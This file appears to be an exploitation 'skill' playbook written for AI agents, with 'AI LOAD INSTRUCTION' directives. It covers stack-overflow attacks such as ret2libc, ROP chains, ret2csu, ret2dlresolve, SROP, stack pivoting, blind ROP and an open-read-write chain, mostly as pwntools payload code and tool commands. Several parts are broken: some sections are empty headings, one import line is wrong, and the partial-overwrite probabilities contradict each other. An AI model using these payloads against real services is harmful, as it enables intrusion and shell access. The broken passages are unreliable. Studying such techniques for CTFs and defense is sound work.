Stack Overflow And Rop

SKILL: Stack Overflow & ROP — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.

0. RELATED ROUTING

• format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
• binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
• arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
• heap-exploitation — when the vulnerability is in heap rather than stack

Advanced Reference

Load ROP_ADVANCED_TECHNIQUES.md when you need:

• Blind ROP (BROP) methodology against remote services without binary
• ret2vdso for ASLR bypass on 32-bit systems
• Partial overwrite techniques for PIE bypass
• JOP / COP alternative code-reuse paradigms

---

1. STACK LAYOUT FUNDAMENTALS

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address

---

2. RETURN-TO-LIBC

When NX is enabled (stack not executable), redirect execution to libc functions.

Classic ret2libc (32-bit)

payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

one_gadget — Single Gadget RCE

$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

Constraints must be satisfied — check register/stack state before using.

---

3. ROP CHAIN CONSTRUCTION

Tool Comparison

Essential Gadget Patterns

x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.

---

4. ret2csu — Universal 3-Argument Control

__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.

---

5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.

Attack Flow

1. Control execution to call _dl_runtime_resolve(link_map, reloc_offset) 2. Forge Elf_Rel at known writable address pointing to fake Elf_Sym 3. Forge Elf_Sym with st_name pointing to fake string "system\x00" 4. Set reloc_offset so resolver uses forged structures 5. Argument (/bin/sh) placed on stack or in known buffer

# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)

32-bit vs 64-bit Differences

---

6. SROP — Sigreturn-Oriented Programming

Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.

---

7. STACK PIVOTING

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.

leave;ret Pivot Pattern

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

---

8. CANARY BYPASS

---

9. TOOLS QUICK REFERENCE

checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

---

10. DECISION TREE

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

Advanced ROP Techniques — BROP, Partial Overwrite, JOP, COP

AI LOAD INSTRUCTION: Load this when you need Blind ROP methodology, ret2vdso for ASLR bypass, partial overwrite for PIE bypass, or alternative code-reuse paradigms (JOP/COP). Assumes the main SKILL.md is already loaded for fundamental ROP, ret2csu, ret2dlresolve, and SROP.

---

1. BLIND ROP (BROP)

Exploit a remote stack overflow without access to the binary. Requires a service that forks (canary and ASLR layout persist across crashes).

BROP Attack Phases

BROP Gadget Identification

The __libc_csu_init tail pops 6 registers then returns. Probe:

[overflow][canary][saved_rbp][candidate_addr][A][A][A][A][A][A][stop_gadget]
                                              rbx rbp r12 r13 r14 r15

If the process survives (reaches stop gadget) → candidate is a 6-pop gadget (high probability = BROP gadget).

Trap Gadget vs Stop Gadget

• Stop gadget: address that causes the process to hang or respond predictably (not crash)
• Trap gadget: address that crashes (0x0, unmapped page) — used as a probe terminator

PLT Identification

PLT entries are at fixed 16-byte intervals. Probe: set RDI to a known readable address, iterate PLT base + N*16, check if output appears on socket → found puts/write.

---

2. ret2vdso (32-bit ASLR Bypass)

The vDSO (virtual Dynamic Shared Object) is a kernel-mapped page containing optimized syscall stubs. On 32-bit Linux kernels < 3.18, vDSO was mapped at a fixed address or with low entropy.

Attack Method

1. Locate sigreturn gadget in vDSO (fixed or brute-forceable address) 2. Use SROP via vDSO's sigreturn to set all registers 3. Execute execve("/bin/sh", 0, 0) via syscall

Modern relevance: Limited to legacy 32-bit systems. On 64-bit, vDSO is fully randomized.

---

3. PARTIAL OVERWRITE (PIE Bypass)

When PIE is enabled, the code base is randomized but the last 12 bits (page offset) are always fixed. Overwriting only the lowest 1–2 bytes of a return address can redirect execution within the same page or to a nearby page.

Technique

Original return address: 0x5555555551?? (last 12 bits = 0x1??, fixed)
Overwrite last 2 bytes:  0x555555551234 → redirect to offset 0x1234 in binary

If only last byte overwritten (no null terminator issue):
  Only 4 bits unknown (nibble brute-force = 16 attempts)
If last 2 bytes overwritten:
  Only 4 bits unknown (page alignment) = 16 attempts

When to Use

Practical Notes

• Null bytes in addresses: 64-bit addresses typically contain \x00 in upper bytes, making overflow-based overwrites write the null terminator naturally
• Probability: partial overwrite success depends on unknown nibble (1/16 per attempt)
• Combine with fork-based brute-force if process restarts with same layout

---

4. JOP — Jump-Oriented Programming

Alternative to ROP using indirect jmp instructions instead of ret.

Dispatcher Gadget Pattern

; Dispatcher: advances a "virtual PC" table and jumps to next gadget
add rax, 8       ; advance table pointer
jmp [rax]        ; jump to next functional gadget

Each functional gadget ends with jmp [rax] (or equivalent) to return to the dispatcher.

JOP Gadget Types

When JOP Matters

• CET/Shadow Stack: Intel CET marks ret with shadow stack validation — ROP returns fail, but jmp gadgets are not checked by shadow stack (though IBT may restrict indirect jumps)
• Some binaries have abundant jmp gadgets but few ret gadgets

---

5. COP — Call-Oriented Programming

Uses indirect call instructions. Each gadget ends with call [reg] to chain to the next.

; Example COP gadget
mov rdi, rbx
call [rax + 0x10]   ; chains to next gadget via function pointer table

COP vs ROP vs JOP Comparison

---

6. STACK-BASED ORW (open-read-write)

When execve is blocked by seccomp but open/read/write are allowed, build a ROP chain to read the flag file.

x86-64 Syscall Numbers for ORW

# ORW ROP chain skeleton
rop = b''
# open("flag", O_RDONLY)
rop += p64(pop_rdi) + p64(flag_str_addr)
rop += p64(pop_rsi_r15) + p64(0) + p64(0)
rop += p64(pop_rax) + p64(2) + p64(syscall_ret)
# read(fd=3, buf, 0x100)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(0) + p64(syscall_ret)
# write(1, buf, 0x100)
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(1) + p64(syscall_ret)

---

7. ret2csu EXTENDED PATTERNS

Variant: Using csu_init for Indirect Call to GOT

csu_pop = elf_base + 0x40123a  # pop rbx..r15; ret
csu_call = elf_base + 0x401220 # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]

payload = b'A' * offset
payload += p64(csu_pop)
payload += p64(0)             # rbx = 0
payload += p64(1)             # rbp = 1 (skip loop)
payload += p64(elf.got['write'])  # r12 → call *GOT[write]
payload += p64(8)             # r13 → rdx = 8 (count)
payload += p64(elf.got['puts'])   # r14 → rsi = GOT[puts] (leak)
payload += p64(1)             # r15 → edi = 1 (stdout)
payload += p64(csu_call)
payload += b'A' * 56          # padding for 7 pops after call
payload += p64(main_addr)     # return to main

When ret2csu Fails

• PIE enabled: csu gadget addresses unknown (need leak first)
• Static binary: __libc_csu_init may not exist → fall back to SROP
• Only `edi` set: r15d → edi (32-bit zero-extended), cannot set full 64-bit RDI → use supplementary pop rdi if available

---

8. ARCHITECTURE-SPECIFIC NOTES

ARM ROP

MIPS ROP

• No NX by default (stack executable on many MIPS devices) → shellcode often viable
• Branch delay slots: instruction after branch always executes
• Gadget: jalr $t9 with $a0–$a3 for args
• Cache coherency: may need sleep(1) between write and execute for I-cache flush

---

9. TOOLCHAIN CHEAT SHEET

# Find specific gadgets
ROPgadget --binary ./pwn --only "pop|ret" | grep rdi
ropper -f ./pwn --search "pop rdi; ret"

# Auto-generate chain
ROPgadget --binary ./pwn --ropchain

# Find one_gadget constraints
one_gadget ./libc.so.6 -l 2  # level 2 = more results, looser constraints

# Verify gadget in GDB
gdb ./pwn -ex "x/3i 0x401234"

# pwntools template
pwn template --host remote.ctf --port 1337 ./pwn > exploit.py